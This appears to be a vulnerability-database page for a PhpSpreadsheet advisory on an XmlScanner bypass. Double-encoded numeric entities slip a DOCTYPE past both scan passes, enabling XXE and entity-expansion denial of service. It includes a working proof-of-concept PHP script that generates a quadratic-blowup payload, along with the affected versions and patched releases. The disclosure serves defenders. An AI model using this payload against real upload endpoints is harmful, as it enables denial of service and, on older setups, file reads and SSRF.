CVE-2026-108357High· 8.8▾ TwilightPhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 48.4 · likelihood 0.1 · exploitation 0
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Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake. The CVSS score shown above comes from the assigning CNA record, not NVD.
Exploit-prediction probability, daily snapshots since Oct 23.
Disclosure to exploitation, from the record and what we observed since indexing it.
0.3%
0.3% → 0.4%
Disclosed via GHSA
The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.
The vulnerability involves an interaction between three code locations:
1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}
2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
The double-scan decode chain:
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scan
The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().
Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memory_limit=512M poc_toctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|---|---|---|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7Upgrade to a patched release:
phpoffice/phpspreadsheet 5.10.0phpoffice/phpspreadsheet 3.10.8Connected by shared product, vendor, weakness, or advisory.
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